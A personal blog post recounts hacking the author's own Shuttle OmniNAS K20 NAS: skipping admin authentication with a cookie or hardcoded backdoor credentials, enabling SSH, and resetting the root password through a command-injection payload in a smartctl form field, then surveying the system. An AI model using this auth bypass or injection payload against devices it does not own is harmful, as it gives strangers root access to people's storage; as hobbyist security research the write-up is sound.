Christmas, 2013: through a crazy sale on my favourite technology e-retailer I purchased a Shuttle OmniNAS K20, a consumer-grade NAS, for ~$70. The use-case was simple: a place for my mom to backup and view her photo collection from anywhere in the house, instead of locked to the iMac. Unfortunately, the low read and write speeds caused a great deal of frustration, so into the closet it went.

In that closet it lay until today when I was reminded of it and decided to see how deep into its firmware I could dive. I had a hunch it was Linux-based, as the default filesystem was XFS, but no more than that was known. I also knew is was slow and virtually useless for use as a serious network storage device, so bricking it would be nothing more than a shame.

Enabling SSH

My first quest was to get SSH access. Unfortunately, SSH is not a setting generally available through the web UI, but the executable is installed.

There's a set of debugging tools under /admin in the webroot. They're "protected" through HTTP Basic Auth and a cookie. Simply set the cookie and authentication will be skipped altogether.

document.cookie = "aton_nas_ssh=true"

Alternatively, the username/password combination of atonnas/backdoor should work.

Click on "ssh" in the left frame, or go directly to /admin/ssh.php, and check the box and save. Our trusty friend nmap can help verify SSH is actually now enabled.

Starting Nmap 6.47 ( http://nmap.org ) at 2015-01-03 15:13 PST
Nmap scan report for
Host is up (0.0043s latency).
Not shown: 994 closed ports
22/tcp  open  ssh         OpenSSH 4.7 (protocol 2.0)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.23 seconds 

Excellent, so now we have SSH running, but we still don't have an account to use with SSH.

Getting Root

I came across a couple forum posts and a helpful blog post, but having updated the firmware right away to the latest version, the exploit used in the latter was no longer viable. After much digging, I still couldn't find a way around it, so I eventually just downloaded and flashed an older version of the firmware (2.35.x) which still contained the vulnerability.

With the older firmware in place, I was able to reset the root password and gain SSH access through a couple malformed requests to one of the form endpoints, as mentioned in the aforementioned blog post.

  type: "POST",
  url: "",
  cache: false,
  data: "devName=/dev/sda; (echo \"password\npassword\n\" | sudo passwd root)", success: function(data) { console.log(data) }

The endpoint you're hitting is a bridge to the smartctl command, so a bunch of info about /dev/sda will be printed to the console. If everything worked as expected, and root should have the password password. You should now be able to successfully get a shell.

% ssh root@ root@'s password:

BusyBox v1.10.3 (2013-11-06 11:05:30 CST) built-in shell (ash) Enter 'help' for a list of built-in commands.


Keeping SSH

Unfortunately, ticking the box in the backdoor settings doesn't persist across reboots, which can be annoying. The fix is pretty simple, however. Unfortunately sshd_enable="YES" doesn't work in rc.conf, so we need to start it manually. Open /etc/rc (vi is installed), and add the start command somewhere near the bottom like so:

[...] rm -rf /system/tmp/booting

# Start sshd
/etc/rc.d/sshd.sh start

beep -l 300

echo '.'

echo ''


exit 0 

I put the call right before the beep, so I have audible confirmation that sshd started during the boot process.

In the Box

The included programs seems to be fairly standard faire, with some gross custom shell scripts sprinkled around.

OMNINAS-4BD382> ls /usr/bin
ENCRYPTMAC            env                   openvt
PHP_alu               expr                  passwd
PHP_filemtime         external-ip           php
PHP_filesize          ffmpeg                phpbox
PHP_filetype          ffprobe               pkill
PHP_fread             ffserver              printf
PHP_is_dir            find                  reboot.sh
PHP_is_file           flash_eraseall        reset
PHP_permission        free                  responder
PHP_readfile          fuser                 setDataVolDefault.sh
[                     gpio_handler          setminwest.sh
[[                    halt.sh               sqlite3
arping                hd_hotplug.sh         sudo
awk                   hostid                surprise_remove.sh
basename              htpasswd              tail
beep                  httpd                 tee
bunzip2               id                    test
bzcat                 install               time
bzip2                 killall               top
chvt                  killall5              tr
clear                 log4MP.sh             traceroute
cmp                   logger                tty
creat_file            mtdinfo               ubiattach
crontab               nandwrite             ubidetach
cut                   nmlddnsd              ubiformat
ddns.sh               nslookup              upnp.sh
deallocvt             ntfs-3g               upnpc
diff                  ntpdate               uptime
dirname               omninasd              utf16to8
du                    openssl               wget

OMNINAS-4BD382> ls /usr/sbin
chroot    crond     inetd     noflushd  telnetd   upnpd

OMNINAS-4BD382> ls /bin
ad                   dmesg                ls                   sshd
addgroup             dumpsexp             macusers             stat
adduser              echo                 mkdir                stty
afpldaptest          egrep                mknod                sync
afppasswd            false                mount                tar
apple_dump           fgrep                mv                   touch
ash                  gpg-error            netatalk-config      transmission-cli
busybox              gpg-error-config     netstat              transmission-create
cat                  grep                 nice                 transmission-daemon
chgrp                gunzip               ntfs-3g.probe        transmission-edit
chmod                gzip                 pidof                transmission-remote
chown                hmac256              ping                 transmission-show
cnid2_create         hostname             ps                   umount
cp                   inotifywait          pwd                  uname
date                 inotifywatch         rm                   uniconv
dbd                  ip                   rmdir                usleep
dd                   kill                 sed                  vi
delgroup             libgcrypt-config     sh                   zcat
deluser              ln                   sleep
df                   login                ssh-keygen

OMNINAS-4BD382> ls /sbin/
afpd                losetup             mkswap              udevinfo
arp                 loumount            modprobe            udevstart
blockdev            lsmod               netatalk            udhcpc
cnid_dbd            lvchange            parted              usb_id
cnid_metad          lvconvert           partprobe           vgcfgbackup
dhcpd               lvcreate            poweroff            vgcfgrestore
dmsetup             lvdisplay           pvchange            vgchange
dosfsck             lvextend            pvck                vgck
e2fsck              lvm                 pvcreate            vgconvert
fdisk               lvmchange           pvdisplay           vgcreate
fsadm               lvmdiskscan         pvmove              vgdisplay
getty               lvmdump             pvremove            vgexport
halt                lvmsadc             pvresize            vgextend
hdparm              lvmsar              pvs                 vgimport
hotplug             lvreduce            pvscan              vgimportclone
hwclock             lvremove            reboot              vgmerge
ifconfig            lvrename            resize2fs           vgmknodes
ifdown              lvresize            rmmod               vgreduce
ifup                lvs                 route               vgremove
init                lvscan              setsid              vgrename
insmod              mDNSResponderPosix  sfdisk              vgs
ipcrm               mdadm               smartctl            vgscan
ipcs                mdmon               start-stop-daemon   vgsplit
killall4            mkdosfs             swapoff             vol_id
killall5            mke2fs              swapon              xfs_growfs
klogd               mkfs.xfs            syslogd             xfs_quota
lomount             mkntfs              udevd               xfs_repair

A quick look shows this to be an ARMv6 CPU.

OMNINAS-4BD382> cat /proc/cpuinfo
Processor       : ARMv6-compatible processor rev 5 (v6l)
processor       : 0
BogoMIPS        : 299.00

processor       : 1
BogoMIPS        : 299.82

Features        : swp half thumb fastmult edsp java
CPU implementer : 0x41
CPU architecture: 7
CPU variant     : 0x0
CPU part        : 0xb02
CPU revision    : 5

Hardware        : Oxsemi NAS
Revision        : 0000
Serial          : 0000000000000000

The RAM usage is pretty respectable, with the entire system only taking ~80MB of the total 256.

OMNINAS-4BD382> free
              total         used         free       shared      buffers
  Mem:       254020        79196       174824            0          672
 Swap:      1048556            0      1048556
Total:      1302576        79196      1223380

As expected, top shows that Apache is, in fact, the largest consumer of RAM with Samba creeping up behind it.

Mem: 79224K used, 174796K free, 0K shrd, 672K buff, 16988K cached
Load average: 0.00 0.00 0.00
 2375     1 root     S    13880   5% /usr/bin/httpd -f httpd.conf -d /etc
 2413  2375 nobody   S    13880   5% /usr/bin/httpd -f httpd.conf -d /etc
 1470     1 root     S     8868   3% /usr/hddapp/sbin/smbd -D -s /initrd/etc/sa
 1477  1470 root     S     8868   3% /usr/hddapp/sbin/smbd -D -s /initrd/etc/sa
 1485  1479 root     S     6872   3% //sbin/afpd -d -F //etc/afp.conf
 2637  2575 root     S     6668   3% sshd: root@ttyp0
 1467     1 root     S     4932   2% /usr/hddapp/sbin/nmbd -D -s /initrd/etc/sa
 1479     1 root     S     4652   2% /sbin/netatalk
 1486  1479 root     S     4416   2% //sbin/cnid_metad -d -F //etc/afp.conf
 2575     1 root     S     4056   2% /bin/sshd
 2639  2637 root     S     2256   1% -ash
 2880  2639 root     R     2256   1% top
 2346     1 root     S     2252   1% /usr/sbin/crond
 2511     1 root     S     2248   1% mdadm --monitor /dev/md1 --delay=5 --progr
    1     0 root     S     2184   1% init
 1379     1 root     S     2184   1% /sbin/udhcpc -b -h OMNINAS-4BD382 -i eth0
 2616     1 root     S     2184   1% /sbin/getty 115200 ttyS0
 1499     1 root     S     2180   1% /bin/sh /etc/nasd
 2437     1 root     S     2180   1% sh /etc/cleanlogd
 2442     1 root     S     2180   1% sh /etc/cleanbklogd
 2447     1 root     S     2180   1% sh /etc/cleanafplogd

Hasty Conclusions

This is by no means an extensive guide, but I hope it's a means of inspiration to go even farther than I have.

The security on this box is the scariest excuse for security I've ever seen. The fact that there is a set username and password to access a debug section that lists all the passwords in plain text, and can even be fooled by setting a single cookie. I think my first act as the now-root account will be to enact some proper security practices.